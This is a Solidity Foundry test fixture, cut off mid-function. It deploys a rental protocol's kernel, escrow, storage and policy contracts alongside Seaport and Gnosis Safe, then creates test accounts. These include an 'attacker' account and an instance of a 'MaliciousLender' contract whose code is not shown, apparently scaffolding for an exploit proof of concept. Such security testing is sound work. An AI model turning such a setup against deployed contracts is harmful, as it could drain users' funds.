import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Create} from "@src/policies/Create.sol";
import {Stop} from "@src/policies/Stop.sol";
import {Factory} from "@src/policies/Factory.sol";
import {Admin} from "@src/policies/Admin.sol";
import {Guard} from "@src/policies/Guard.sol";
import {toRole} from "@src/libraries/KernelUtils.sol";
import {Proxy} from "@src/proxy/Proxy.sol";
import {Events} from "@src/libraries/Events.sol";
import {HandlerContext} from "@safe-contracts/handler/HandlerContext.sol";
import {CompatibilityFallbackHandler} from "@safe-contracts/handler/CompatibilityFallbackHandler.sol";
import {Ownable} from "@openzeppelin-contracts/access/Ownable.sol";
import {ERC1155} from '@openzeppelin-contracts/token/ERC1155/ERC1155.sol';
import {ISignatureValidator} from "@safe-contracts/interfaces/ISignatureValidator.sol";

import {ProtocolAccount} from "@test/utils/Types.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";

import {Seaport} from "@seaport-core/Seaport.sol";
import {ConduitController} from "@seaport-core/conduit/ConduitController.sol";
import {ConduitControllerInterface} from "@seaport-types/interfaces/ConduitControllerInterface.sol";
import {ConduitInterface} from "@seaport-types/interfaces/ConduitInterface.sol";

import "@forge-std/console.sol";



// Deploys all Seaport protocol contracts
contract External_Seaport is Test {
    // seaport protocol contracts
    Seaport public seaport;
    ConduitController public conduitController;
    ConduitInterface public conduit;

    // conduit owner and key
    Vm.Wallet public conduitOwner;
    bytes32 public conduitKey;

    function setUp() public virtual {
        // generate conduit owner wallet
        conduitOwner = vm.createWallet("conduitOwner");

        // deploy conduit controller
        conduitController = new ConduitController();

        // deploy seaport
        seaport = new Seaport(address(conduitController));

        // create a conduit key (first 20 bytes must be conduit creator)
        conduitKey = bytes32(uint256(uint160(conduitOwner.addr))) << 96;

        // create a new conduit
        vm.prank(conduitOwner.addr);
        address conduitAddress = conduitController.createConduit(
            conduitKey,
            conduitOwner.addr
        );

        // set the conduit address
        conduit = ConduitInterface(conduitAddress);

        // open a channel for seaport on the conduit
        vm.prank(conduitOwner.addr);
        conduitController.updateChannel(address(conduit), address(seaport), true);

        // label the contracts
        vm.label(address(seaport), "Seaport");
        vm.label(address(conduitController), "ConduitController");
        vm.label(address(conduit), "Conduit");
    }
}

// Deploys the Create2Deployer contract
contract External_Create2Deployer is Test {
    Create2Deployer public create2Deployer;

    function setUp() public virtual {
        // Deploy the create2 deployer contract
        create2Deployer = new Create2Deployer();

        // label the contract
        vm.label(address(create2Deployer), "Create2Deployer");
    }
}

// Deploys all Gnosis Safe protocol contracts
contract External_Safe is Test {
    SafeL2 public safeSingleton;
    SafeProxyFactory public safeProxyFactory;

    CompatibilityFallbackHandler public fallbackHandler;

    function setUp() public virtual {
        // Deploy safe singleton contract
        safeSingleton = new SafeL2();

        // Deploy safe proxy factory
        safeProxyFactory = new SafeProxyFactory();

        // Deploy the compatibility token handler
        fallbackHandler = new CompatibilityFallbackHandler();

        // Label the contracts
        vm.label(address(safeSingleton), "SafeSingleton");
        vm.label(address(safeProxyFactory), "SafeProxyFactory");
        vm.label(address(fallbackHandler), "TokenCallbackHandler");
    }
}

contract BaseExternal is External_Create2Deployer, External_Seaport, External_Safe {
    // This is an explicit entrypoint for all external contracts that the V3 protocol depends on.
    //
    // It contains logic for:
    // - setup of the Create2Deployer contract
    // - setup of all Seaport protocol contracts
    // - setup of all Gnosis Safe protocol contracts
    //
    // The inheritance chain is as follows:
    // External_Create2Deployer + External_Seaport + External_Safe
    // --> BaseExternal

    function setUp()
        public
        virtual
        override(External_Create2Deployer, External_Seaport, External_Safe)
    {
        // set up dependencies
        External_Create2Deployer.setUp();
        External_Seaport.setUp();
        External_Safe.setUp();
    }
}

// Deploys all V3 protocol contracts
contract Protocol is BaseExternal {
    // Kernel
    Kernel public kernel;

    // Modules
    Storage public STORE;
    PaymentEscrow public ESCRW;

    // Module implementation addresses
    Storage public storageImplementation;
    PaymentEscrow public paymentEscrowImplementation;

    // Policies
    Create public create;
    Stop public stop;
    Factory public factory;
    Admin public admin;
    Guard public guard;

    // Protocol accounts
    Vm.Wallet public rentalSigner;
    Vm.Wallet public deployer;

    // protocol constants
    bytes12 public protocolVersion;
    bytes32 public salt;

    function _deployKernel() internal {
        // abi encode the kernel bytecode and constructor arguments
        bytes memory kernelInitCode = abi.encodePacked(
            type(Kernel).creationCode,
            abi.encode(deployer.addr, deployer.addr)
        );

        // Deploy kernel contract
        vm.prank(deployer.addr);
        kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode));

        // label the contract
        vm.label(address(kernel), "kernel");
    }

    function _deployStorageModule() internal {
        // abi encode the storage bytecode and constructor arguments
        // for the implementation contract
        bytes memory storageImplementationInitCode = abi.encodePacked(
            type(Storage).creationCode,
            abi.encode(address(0))
        );

        // Deploy storage implementation contract
        vm.prank(deployer.addr);
        storageImplementation = Storage(
            create2Deployer.deploy(salt, storageImplementationInitCode)
        );

        // abi encode the storage bytecode and initialization arguments
        // for the proxy contract
        bytes memory storageProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(storageImplementation),
                abi.encodeWithSelector(
                    Storage.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy storage proxy contract
        vm.prank(deployer.addr);
        STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode));

        // label the contracts
        vm.label(address(STORE), "STORE");
        vm.label(address(storageImplementation), "STORE_IMPLEMENTATION");
    }

    function _deployPaymentEscrowModule() internal {
        // abi encode the payment escrow bytecode and constructor arguments
        // for the implementation contract
        bytes memory paymentEscrowImplementationInitCode = abi.encodePacked(
            type(PaymentEscrow).creationCode,
            abi.encode(address(0))
        );

        // Deploy payment escrow implementation contract
        vm.prank(deployer.addr);
        paymentEscrowImplementation = PaymentEscrow(
            create2Deployer.deploy(salt, paymentEscrowImplementationInitCode)
        );

        // abi encode the payment escrow bytecode and initialization arguments
        // for the proxy contract
        bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(paymentEscrowImplementation),
                abi.encodeWithSelector(
                    PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // Deploy payment escrow contract
        vm.prank(deployer.addr);
        ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));

        // label the contracts
        vm.label(address(ESCRW), "ESCRW");
        vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION");
    }

    function _deployCreatePolicy() internal {
        // abi encode the create policy bytecode and constructor arguments
        bytes memory createInitCode = abi.encodePacked(
            type(Create).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy create rental policy contract
        vm.prank(deployer.addr);
        create = Create(create2Deployer.deploy(salt, createInitCode));

        // label the contract
        vm.label(address(create), "CreatePolicy");
    }

    function _deployStopPolicy() internal {
        // abi encode the stop policy bytecode and constructor arguments
        bytes memory stopInitCode = abi.encodePacked(
            type(Stop).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy stop rental policy contract
        vm.prank(deployer.addr);
        stop = Stop(create2Deployer.deploy(salt, stopInitCode));

        // label the contract
        vm.label(address(stop), "StopPolicy");
    }

    function _deployAdminPolicy() internal {
        // abi encode the admin policy bytecode and constructor arguments
        bytes memory adminInitCode = abi.encodePacked(
            type(Admin).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy admin policy contract
        vm.prank(deployer.addr);
        admin = Admin(create2Deployer.deploy(salt, adminInitCode));

        // label the contract
        vm.label(address(admin), "AdminPolicy");
    }

    function _deployGuardPolicy() internal {
        // abi encode the guard policy bytecode and constructor arguments
        bytes memory guardInitCode = abi.encodePacked(
            type(Guard).creationCode,
            abi.encode(address(kernel))
        );

        // Deploy guard policy contract
        vm.prank(deployer.addr);
        guard = Guard(create2Deployer.deploy(salt, guardInitCode));

        // label the contract
        vm.label(address(guard), "GuardPolicy");
    }

    function _deployFactoryPolicy() internal {
        // abi encode the factory policy bytecode and constructor arguments
        bytes memory factoryInitCode = abi.encodePacked(
            type(Factory).creationCode,
            abi.encode(
                address(kernel),
                address(stop),
                address(guard),
                address(fallbackHandler),
                address(safeProxyFactory),
                address(safeSingleton)
            )
        );

        // Deploy factory policy contract
        vm.prank(deployer.addr);
        factory = Factory(create2Deployer.deploy(salt, factoryInitCode));

        // label the contract
        vm.label(address(factory), "FactoryPolicy");
    }

    function _setupKernel() internal {
        // Start impersonating the deployer
        vm.startPrank(deployer.addr);

        // Install modules
        kernel.executeAction(Actions.InstallModule, address(STORE));
        kernel.executeAction(Actions.InstallModule, address(ESCRW));

        // Approve policies
        kernel.executeAction(Actions.ActivatePolicy, address(create));
        kernel.executeAction(Actions.ActivatePolicy, address(stop));
        kernel.executeAction(Actions.ActivatePolicy, address(factory));
        kernel.executeAction(Actions.ActivatePolicy, address(guard));
        kernel.executeAction(Actions.ActivatePolicy, address(admin));

        // Grant `seaport` role to seaport protocol
        kernel.grantRole(toRole("SEAPORT"), address(seaport));

        // Grant `signer` role to the protocol signer to sign off on create payloads
        kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr);

        // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol
        kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr);

        // Grant 'guard_admin` role to the address which can toggle hooks
        kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr);

        // Grant `stop_admin` role to the address which can skim funds from the payment escrow
        kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr);

        // Stop impersonating the deployer
        vm.stopPrank();
    }

    function setUp() public virtual override {
        // setup dependencies
        super.setUp();

        // create the rental signer address and private key
        rentalSigner = vm.createWallet("rentalSigner");

        // create the deployer address and private key
        deployer = vm.createWallet("deployer");

        // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract)
        protocolVersion = 0x000000000000000000000100;
        salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);

        // deploy kernel
        _deployKernel();

        // Deploy payment escrow
        _deployPaymentEscrowModule();

        // Deploy rental storage
        _deployStorageModule();

        // deploy create policy
        _deployCreatePolicy();

        // deploy stop policy
        _deployStopPolicy();

        // deploy admin policy
        _deployAdminPolicy();

        // Deploy guard policy
        _deployGuardPolicy();

        // deploy rental factory
        _deployFactoryPolicy();

        // intialize the kernel
        _setupKernel();
    }
}


// Creates test accounts to interact with the V3 protocol
// Borrowed from test/fixtures/protocol/AccountCreator
contract AccountCreator is Protocol {
    // Protocol accounts for testing
    ProtocolAccount public alice;
    ProtocolAccount public bob;
    ProtocolAccount public carol;
    ProtocolAccount public dan;
    ProtocolAccount public eve;
    ProtocolAccount public attacker;
    MaliciousLender maliciousLenderContract;

    // Mock tokens for testing
    MockERC20[] public erc20s;
    MockERC721[] public erc721s;
    MockERC1155[] public erc1155s;

    function setUp() public virtual override {
        super.setUp();

        // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens
        _deployTokens(3);

        // instantiate all wallets and deploy rental safes for each
        alice = _fundWalletAndDeployRentalSafe("alice");
        bob = _fundWalletAndDeployRentalSafe("bob");
        carol = _fundWalletAndDeployRentalSafe("carol");
        dan = _fundWalletAndDeployRentalSafe("dan");
        eve = _fundWalletAndDeployRentalSafe("eve");
        attacker = _fundWalletAndDeployRentalSafe("attacker");

        vm.prank(attacker.addr);
        maliciousLenderContract = new MaliciousLender(); // attacker.addr will be the owner of this contract


    }

    function _deployTokens(uint256 numTokens) internal {
        for (uint256 i; i < numTokens; i++) {
            _deployErc20Token();
            _deployErc721Token();
            _deployErc1155Token();
        }
    }

    function _deployErc20Token() internal returns (uint256 i) {
        // save the token's index
        i = erc20s.length;

        // deploy the mock token
        MockERC20 token = new MockERC20();

        // push the token to the array of mocks
        erc20s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC20_", LibString.toString(i)));
    }

    function _deployErc721Token() internal returns (uint256 i) {
        // save the token's index
        i = erc721s.length;

        // deploy the mock token
        MockERC721 token = new MockERC721();

        // push the token to the array of mocks
        erc721s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC721_", LibString.toString(i)));
    }

    function _deployErc1155Token() internal returns (uint256 i) {
        // save the token's index
        i = erc1155s.length;

        // deploy the mock token
        MockERC1155 token = new MockERC1155();

        // push the token to the array of mocks
        erc1155s.push(token);

        // set the token label with the index
        vm.label(address(token), string.concat("MERC1155_", LibString.toString(i)));
    }

    function _deployRentalSafe(
        address owner,
        string memory name
    ) internal returns (address safe) {
        // Deploy a 1/1 rental safe
        address[] memory owners = new address[](1);
        owners[0] = owner;
        safe